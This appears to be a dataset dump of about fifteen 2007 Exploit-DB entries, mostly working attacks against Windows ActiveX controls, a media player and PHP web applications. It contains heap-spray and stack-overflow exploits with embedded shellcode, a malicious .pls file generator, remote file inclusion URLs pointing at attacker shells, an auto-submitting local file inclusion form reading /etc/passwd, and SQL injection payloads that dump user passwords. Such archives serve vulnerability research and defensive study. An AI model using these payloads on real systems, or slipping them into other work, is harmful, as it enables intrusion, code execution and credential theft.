QLWD/code_shield huggingface dataset:
标题: Microsoft SQL Server - Distributed Management Objects 'sqldmo.dll' Buffer Overflow (PoC) EDB-ID: 4379 CVE: 2007-4814 类型: DOS 平台: WINDOWS 发布日期: 2007-09-08 漏洞利用脚本: <!--
18.48 01/09/2007
Microsoft SQL Server Distributed Management Objects OLE DLL for
SQL Enterprise Manager (sqldmo.dll) remote buffer overflow poc

file version: 2000.085.2004.00
product version: 8.05.2004

passing some fuzzy chars to Start method:

EAX 00000000
ECX 00620062
EDX 00620062
EBX 1C3A3638 SQLDMO.1C3A3638
ESP 0013D87C
EBP 0013DAA8
ESI 03042544
EDI 0013DAA0 ASCII "|T"
EIP 1C1C9800 SQLDMO.1C1C9800

...
1C1C97EA   8D8D E4FDFFFF    LEA ECX,DWORD PTR SS:[EBP-21C]
1C1C97F0   51               PUSH ECX
1C1C97F1   8B95 E0FDFFFF    MOV EDX,DWORD PTR SS:[EBP-220]
1C1C97F7   8B02             MOV EAX,DWORD PTR DS:[EDX]
1C1C97F9   8B8D E0FDFFFF    MOV ECX,DWORD PTR SS:[EBP-220]
1C1C97FF   51               PUSH ECX
1C1C9800   FF90 DC010000    CALL DWORD PTR DS:[EAX+1DC] <--- exception
access violation when reading 000001DC

by manipulating edx you have the first exploitable condition...


also seh is overwritten, then:

EAX 00000000
ECX 00610061
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D4AC
EBP 0013D4CC
ESI 00000000
EDI 00000000
EIP 00610061

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True

means: works according to security settings for the Internet zone
needs Activex "not marked as safe" option set to "ask" or "enabled" (not the predefined one)

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<script language='vbscript'>

targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype  = "Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )"
memberName = "Start"
progid     = "SQLDMO.SQLServer"
argCount   = 4

'edx = ecx
edx       ="bb"
seh       ="aa"
StartMode =True
Server    ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\CCCC\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login     ="aaaaaaaa"
Password  ="bbbbbbbb"

SQLServer.Start StartMode ,Server ,Login ,Password

</script>
</html>

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4379
标题: Focus/SIS 1.0/2.2 - Remote File Inclusion EDB-ID: 4377 CVE: 2007-4942 2007-4807 2007-4806 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: #Focus/SIS =>1.0&2.2 Remote file inclusion

#Download v1.0 : http://unix.freshmeat.net/redir/focus_sis/64492/url_zip/Focus_v1.0.zip

#         v2.2 : http://www.focus-sis.org/download.php?modfunc=file&version=2.2
============================================================================================================
#Exploit V1.0 :

#http://victime.com/Focus_v1.0_path/modules/Discipline/CategoryBreakdownTime.php?FocusPath= shell.txt?
============================================================================================================
#Exploit v 2.2 :

#http://victime.com/Focus_v2.2_path/modules/Discipline/CategoryBreakdownTime.php?staticpath= shell.txt?

#http://victime.com/Focus_v2.2_path/modules/Discipline/StudentFieldBreakdown.php?staticpath=shell.txt?

#Greetz & Thx : Str0ke

#Discovered by ThE TiGeR 

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4377
标题: BaoFeng2 - 'mps.dll' ActiveX Multiple Remote Buffer Overflows (PoC) EDB-ID: 4375 CVE: 2007-4816 类型: DOS 平台: WINDOWS 发布日期: 2007-09-08 漏洞利用脚本: BaoFeng2 Mps.dll Activex Multiple Remote Buffer Overflow PoC

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4375.zip (09082007-storm.zip)

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4375
标题: Fuzzylime CMS 3.0 - Local File Inclusion EDB-ID: 4378 CVE: 2007-4805 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: ########################################################################
#################
#
#                           not sec group
#        http://www.notsec.com     info@notsec.com
#
#
#                      [fuzzylime (cms) <= 3.0]
#
# Class:         Local File Inclusion
# Found:       08/09/2007
# Site:           http://cms.fuzzylime.co.uk/
#Download:  http://cms.fuzzylime.co.uk/files/cms.zip
#Author:      [wHITe_ShEEp] of notsec
#Contact:     white_sheep@notsec.com - http://www.notsec.com
#
########################################################################
#################


                   vulnerable code:
       [cms]/code/getgalldata.php
______________________________________________________

1:    <?
2:    $p = $_POST[p];
3:    $m = $_POST[img];
4:    $m = "e$m";
5:    $entrytype = "gallery";
6:    include "../gallery/$p.inc.php";
7:    include "settings.inc.php";
8:    include "../$admindir/languages/english.inc.php";
...
41:   ?>
_______________________________________________________



       Exploit: ( Work only with magic_quotes_gpc = Off )
_______________________________________________________

<html>
<body onload="document.myform.submit()">
<form name="myform" action="http://www.site.com/[fuzzylime]/code/
getgalldata.php" method="post">
<input name="p" type="text" size="30" value="../../../../../../../../
etc/passwd%00" />
</form>
</html>
________________________________________________________




       Thanks to:
________________________________________________________

All notsec.com members;
r00t for testing;
________________________________________________________

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4378
标题: PHPMytourney - 'menu.php' Remote File Inclusion EDB-ID: 4368 CVE: 2007-4757 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-06 漏洞利用脚本: *******************************************************************************
# Title   :  phpMytourney (functions_file) Remote File Inclusion Vulnerability
# Author  :  S.W.A.T.
# Contact :  S.W.4.T@HackerMail.com
# S.Page  :  http://script.vanta.ru/download.php?id=1178&clas=0
# $$      :  Free
# Site    :  Http://www.XmorS-Security.CoM - Http://www.xmors.com - Http://www.xmors.net
*******************************************************************************
Vuln Code:

include($functions_file);

[[Remote]]]

http://[target]/[path]/menu.php?functions_file=[SHELL]

"""""""""""""""""""""

# I Love XmorsTEAM
# We Are: Scorpiunix - KAMY4r - D3vil_boy_ir - Sh3llH3ll - The_Edit0r - S.W.A.T.
# Iranian Hackers & Security TEAM
# Xmors Digital Network Hacking & Security Team

# milw0rm.com [2007-09-06] URL: https://www.exploit-db.com/exploits/4368
标题: GlobalLink 2.7.0.8 - 'glitemflat.dll SetClientInfo()' Heap Overflow EDB-ID: 4372 CVE: 2007-4802 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-07 漏洞利用脚本: <OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u0eeb%u4b5b%uc933%ubfb1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe67%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%uc716%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufeda%ufefe%u96ac%u91d0%u998c%u9096%uce8a%u9693%u8edd%uca96%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u019c%u0101%u8acc%uf26f%u7187%u9e32%uf494%ue0c6%u3344%u4d2e%u3a4b%u968d%u929b%u9d92%u9a91%ufe9b"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide += spraySlide;
    }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return spraySlide;
}

s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x0c\x0c\x0c\x0c"
target.SetClientInfo(1, s, 1) 
</SCRIPT>

# milw0rm.com [2007-09-07] URL: https://www.exploit-db.com/exploits/4372
标题: GlobalLink 2.7.0.8 - 'glItemCom.dll SetInfo()' Heap Overflow EDB-ID: 4366 CVE: 2007-4802 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-05 漏洞利用脚本: <html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");

var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
   memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
   spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>

# milw0rm.com [2007-09-05] URL: https://www.exploit-db.com/exploits/4366
标题: TLM CMS 3.2 - Multiple SQL Injections EDB-ID: 4376 CVE: 2007-4808 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: ########################################################################
# TLM CMS v3.2 - Multiple Remote SQL Injection Vulnerabilities
# Vendor           : http://tlm.hebserv.fr/
# Download         : http://tlm.hebserv.fr/mod_file/upload/tlmcms32.zip
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################
Kutu pada berkas 'news.php';
http://localhost/tlmcms32/news.php?act=lirenews&id=-9%20UNION%20SELECT%200,US_pseudo,US_pwd,0,0,0,0,0,0,0%20from%20pphp_user/*

Kutu pada berkas 'goodies.php';
http://localhost/tlmcms32/goodies.php?act=lire&idnews=-9%20UNION%20SELECT%200,0,0,US_pseudo,US_pwd,0,0,0,0,0,0%20from%20pphp_user/*

<-------------------------->
Jika magic_quotes_gpc = off, maka pada berkas2 berikut dapat memanipulasi
SQL query;

Kutu pada berkas 'file.php';
http://localhost/tlmcms32/file.php?action=voir&id=-9'UNION%20SELECT%200,0,0,US_pseudo,0,US_pwd,0,0,0,0%20from%20pphp_user/*

Kutu pada berkas 'affichage.php';
http://localhost/tlmcms32/affichage.php?ID=-9'UNION%20SELECT%200,0,0,US_pseudo,US_pwd%20from%20pphp_user/*

Kutu pada berkas '/mod_forum/afficher.php';
http://localhost/tlmcms32/mod_forum/afficher.php?id_sal=-9'%20UNION%20SELECT%20US_pseudo,US_pwd,0%20from%20pphp_user/*

Kutu pada berkas '/mod_forum/messages.php';
http://localhost/tlmcms32/mod_forum/messages.php?id_sujet=-9'UNION%20SELECT%20US_pseudo,0%20from%20pphp_user/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4376
标题: RW::Download 2.0.3 lite - 'index.php?dlid' SQL Injection EDB-ID: 4371 CVE: 2007-4845 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-07 漏洞利用脚本: ########################################################################
# RW::Download v2.0.3 lite - Remote SQL Injection
# Vendor           : http://www.rwscripts.com/
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
# Dork             : "Powered by RW::Download v2.0.3 lite"
########################################################################

http://localhost/UPLOAD/index.php?url=&dlid=-9%20UNION%20SELECT%20null,null,null,null,username,null,null,null,null,null,null,null,null,password,null,null,null,null%20from%20dl_users/*

http://localhost/UPLOAD/index.php?url=&cid=-9%20UNION%20SELECT%20null,null,concat(username,0x3a,password),null,null,null%20from%20dl_users/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-07] URL: https://www.exploit-db.com/exploits/4371
标题: AnyInventory 2.0 - 'Environment.php' Remote File Inclusion EDB-ID: 4365 CVE: 2007-4744 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-05 漏洞利用脚本: #AnyInventory => 2.0 Remote file inclusion

#Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz

#Exploit :

#http://victime.com/[anyInventory_path]/environment.php?DIR_PREFIX= shell.txt?

#Dork : anyInventory, the most flexible and powerful web-based inventory system

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail.com

# milw0rm.com [2007-09-05] URL: https://www.exploit-db.com/exploits/4365
标题: Webace-Linkscript 1.3 SE - 'start.php' SQL Injection EDB-ID: 4370 CVE: 2007-4846 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-07 漏洞利用脚本: ########################################################################
# Webace-Linkscript V1.3 Special Edition - Remote SQL Injection
# Vendor           : http://www.webace.de/
# Download         : http://www.webace.de/downloads/wls_se.zip
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################
Berkas;
/go/rubrik.php

Kutu pada baris-2;
$rubrikname = mysql_fetch_array(mysql_query('SELECT name FROM wls_rubriken WHERE id='.$HTTP_GET_VARS['id']));

Keterangan;
$HTTP_GET_VARS['id'] tidak ter'filter' dengan baik, sehingga pengguna bisa memanipulasi SQL melalui browser

POC;
http://localhost/wls_v1.3se/start.php?go=rubrik&id=[SQL]

Contoh;
http://localhost/wls_v1.3se/start.php?go=rubrik&id=-1/**/union/**/select/**/null,null,null,null,null,null,null,null,login,passwort,null,null,null,null,null/**/from/**/wls_eintrag/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-07] URL: https://www.exploit-db.com/exploits/4370
标题: Online Fantasy Football League (OFFL) 0.2.6 - Remote File Inclusion EDB-ID: 4374 CVE: 2007-4809 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-07 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
 Multiple Remote File Inclusion Vulnerability
---------------------------------------------------------------
# Author: MhZ91 nobody.91@hotmail.it
# Download Script: http://sourceforge.net/projects/offl/ Online Fantasy Football League 0.2.6
# Exploit:
# http://[target]/[path]/lib/functions.php?DOC_ROOT=[Shell]
# http://[target]/[path]/lib/header.php?DOC_ROOT=[Shell]
---------------------------------------------------------------

# milw0rm.com [2007-09-07] URL: https://www.exploit-db.com/exploits/4374
标题: AtomixMP3 2.3 - '.pls' Local Buffer Overflow EDB-ID: 4364 CVE: 2007-4803 类型: LOCAL 平台: WINDOWS 发布日期: 2007-09-05 漏洞利用脚本: <?php
/*
AtomixMP3 2.3 (pls File) Local Buffer OverFlow
ret addr -> 0x77394540      jmp esp in mswsock.dll Winxp Pro Version 2002
exploit : [A x 516] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode ] 
By : 0x58
greetz : miyyet,,diablos5s5,,vxroot,,Str0ke,,Metasploit
Moroccan Hackers !
*/
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = 
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84".
"\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d".
"\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91".
"\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5".
"\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe".
"\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc".
"\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53".
"\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0".
"\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc".
"\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0".
"\xe1\xd1\xfe\xd8";
$bof = str_repeat("A",516)."\x40\x45\x39\x77".str_repeat("\x90",10).$shellcode;
$filename = "atomix.pls";
$file = fopen($filename,"w+");
fputs($file,"[playlist]\r\n");
fputs($file,"File1=".$bof."\r\n");
fputs($file,"Title1=".$bof."\r\n");
fputs($file,"Length1=".strlen($bof)."\r\n");
fputs($file,"NumberOfEntries=1");
fputs($file,"Version=2");
fclose($file);
echo "Exploit generated in : ".$filename."<br>";
?>

# milw0rm.com [2007-09-05] URL: https://www.exploit-db.com/exploits/4364
标题: EDraw Office Viewer Component 5.2 - ActiveX Remote Buffer Overflow (PoC) EDB-ID: 4373 CVE: 2007-4821 类型: DOS 平台: WINDOWS 发布日期: 2007-09-07 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
 Remote Buffer Overflow</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 Even this time, shinnai is not credited for bug finding but they wrote:
 "3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
  to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
  Now the component can only download the file to .Internet temporary file directory\OA\..
  <b>So anybody can.t use the method to download a file then conver a good system file.</b>"

 mmm... sure but, guys, take a look to SEH chain and you'll find this:

 <b>SEH chain of thread 000011A0, item 0
  Address=0172F284
  SE handler=iexplore.00410041

 SEH chain of thread 000011A0, item 1
  Address=00410041
  SE handler=00844E79</b>

 do you know what I mean ;)

 P.S.
 encrease the number of buffer to see everything freezed
--------------------------------------------------------------------------------------------------------------


<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(8212,"A")
  test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-09-07] URL: https://www.exploit-db.com/exploits/4373
标题: Microsoft Visual FoxPro 6.0 - FPOLE.OCX 6.0.8450.0 Remote (PoC) EDB-ID: 4369 CVE: 2007-4790 类型: DOS 平台: WINDOWS 发布日期: 2007-09-06 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
 <b>0-day: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 This control is marked as:
 <b>RegKey Safe for Script: Falso
 RegKey Safe for Init: Falso
 Implements IObjectSafety: Vero
 IDisp Safe:  Safe for untrusted: caller  
 KillBitSet: Falso</b>

 This is a dump:
 <b>registers:

 EAX 000287C4
 ECX 017923C8
 EDX 017FC60D ASCII "bbbbbbbbbbbb..."
 EBX 04E51ED8
 ESP 017FC3C0
 EBP 017FC5FC
 ESI 000493E1
 EDI 7C80BDB6 kernel32.lstrlenA

 EIP 04E46807 FPOLE.04E46807
 
 *********************************************

 stack:
 [...]
 017FC60C  |62626262
 017FC610  |62626262
 017FC614  |62626262
 017FC618  |62626262
 017FC61C  |62626262
 [...]</b>
 
 so I think code execution is possible even if, in this moment of my life, I really have no time to
 investigate :)
-----------------------------------------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(300000, "b")
  test.FoxDoCmd buff, 1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-06] URL: https://www.exploit-db.com/exploits/4369